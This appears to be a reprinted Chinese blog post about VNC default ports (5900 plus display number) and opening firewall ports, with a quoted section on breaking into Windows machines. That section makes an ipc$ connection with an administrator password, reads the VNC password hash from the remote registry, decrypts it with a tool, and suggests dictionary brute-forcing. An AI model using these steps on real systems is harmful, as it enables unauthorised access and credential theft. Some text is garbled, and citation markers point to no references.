5900 VNC 默认端口问题

本文介绍了在尝试通过VNC连接越南的一台机器时遇到的问题及解决方案。由于默认端口未开放导致无法连接,最终通过开放5901-6000端口解决了问题。此外,还详细介绍了VNC的工作原理及其在远程管理中的应用。

今天通过VNC 图形界面连接在越南的一台机器 ,发现出现连接不了的错误信息。后来通过dameware 软件远程连接到那边的一台windows机器然后vnc 倒是可以,怀疑是为了安全考虑,没有开启vnc 相关端口,后来请网络管理人员查看,果然只是开通了ftp , ssh .... 等几个常用服务。于是查找vnc 默认端口,发现是 5800和 5900 ,由于一般都需要适用 ip:1 或 ip:2 端口登入linux 系统, 故需要开通 5801, 5802 或这 5901 ,5902 (即在默认端口后加上登入时候的port号), 但是管理员开通 5801 到 6000 了,结果还是不行,后来开通 5901 ~6000 , 发现OK . 搞不懂默认端口为 5800 和 5900 为什么 5801~6000开通都不行 。

[@more@]

参考资料:

--------------------------------------------------------------

首先把5900端口加进你常用的扫描器.

nt服务器的远程管理(所谓hack,就是去远程管理嘛),基于GUI的通常是win的终端连接(3389),pcanywhere(5631),还有就是vnc(5900),让我们来熟悉一下它.


VNC——Virtual Network
Computing(即虚拟网络计算机系统)是由AT&T开发的各种操作系统之间的相互操作管理系统,使用VNC可以使你在不同的计算机之间实现真正的相互操作,不过,VNC只限于GUI之间的相互操作,如Windows同Linux系统的X
Window之间相互操作,Windows同Macintosh之间的相互操作等,它可以安装在Windows中而让使用者在远端遥控自己的电脑,就算是遥控不同的操作平台也没有问题.


如果你使用的Linux系统,甚至可以用浏览器控制开了VNC服务的机器,如果你是用的win系统,你需要一个VNC的客户端连接器vncviewer.exe.


然而VNC的认证特别简单,它只通过简单的口令认证即允许用户全权操作远端的计算机,更可怕的是,VNC的密码就存储在注册表里,读出Registry的值后经过简单的解密,就能让VNC的密码显原形.一个叫Phenoelit的外国人写了一个解密程序x4.exe

现在来举个例子:我拿到了209.61.*.*的管理员administator的密码是7nt,它开了VNC服务(5900端口),现在开始:

1)net use 209.61.*.*ipc$Content$nbsp;"7nt" /user:"administrator"
先和它做ipc$连接.(如果它没有开ipc$,你可以上传一个reg.exe去读它的Registry的值)
2)打开你的注册表,连接网络注册表(209.61.*.*),通常VNC的密码是在:HKEY_CURRENT_USERSoftwareORLWinVNC3Password
读出他的值是:f1 ad 32 63 f5 ed 3e d7
3)在cmd下运行x4.exe,输入x4.exe
-W回车,注意W要大写,然后输一个值回一次车,直到输完8个值,看看密码出来了:7ntok
4)用vncviewer.exe连过去看看吧,哈.

如果你还没有拿到对方管理员密码,也还有些软件可以挂字典暴破VNC的密码,速度还行,象scanarator,不过一般VNC的密码都较复杂,至少又多了一种攻破系统的方法和希望吧.

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/35489/viewspace-999739/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/35489/viewspace-999739/

### VNC 默认端口及相关配置 VNC(Virtual Network Computing)是一种用于远程访问图形化桌面的技术。其默认端口设置以及如何修改这些端口是常见的操作需求。 #### 一、VNC默认端口 VNC默认端口通常是基于基础端口 `5900` 进行计算的。具体来说,如果指定了显示编号为 `n`,则实际使用的端口将是 `5900 + n`[^1]。例如: - 显示编号 `:1` 对应的端口为 `5901`。 - 显示编号 `:2` 对应的端口为 `5902`。 这种机制使得多个用户可以在同一台服务器上运行各自的独立 VNC 实例而不会发生冲突。 #### 二、修改 VNC 默认端口 尽管 VNC 协议本身不支持直接更改基础端口 `5900`,但可以通过以下方法间接实现固定或自定义端口: ##### 方法 1:通过命令行指定显示编号 在启动 VNC Server 时,可以直接指定显示编号来决定所使用的端口。例如: ```bash vncserver :10 ``` 上述命令将启动一个使用端口 `5910` 的 VNC 服务实例。 ##### 方法 2:绑定特定 IP 地址和端口 某些版本的 VNC 支持更高级别的网络配置选项。可以尝试编辑 VNC 配置文件并调整监听地址与端口映射关系。对于 CentOS 系统而言,可能涉及 `/etc/systemd/system/vncserver@.service` 文件中的参数设定[^2]。 需要注意的是,在 Linux 平台上,低于 `1024` 的端口号属于特权范围,只有 root 用户才能分配此类低级端口给应用程序使用。因此,如果你想让 VNC 使用像 RDP 的标准端口 `3389`,就需要特别注意权限管理问题[^3]。 #### 三、注意事项 - 修改后的端口需确保防火墙规则允许外部流量进入新设端口; - 如果计划长期稳定地采用某个非标准端口,则建议记录下来以便后续维护参考; - 不同操作系统上的 VNC 客户端/服务器软件可能存在功能差异,请参照对应平台官方文档获取最新指导信息。 ```bash # 示例:停止现有 vncserver 实例后再重新以定制方式开启 vncserver -kill :1 vncserver :1 -geometry 1920x1080 -depth 24 ``` 以上脚本展示了如何终止当前正在运行的一个 session 同时创建一个新的具有更高分辨率及颜色深度的新 session。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值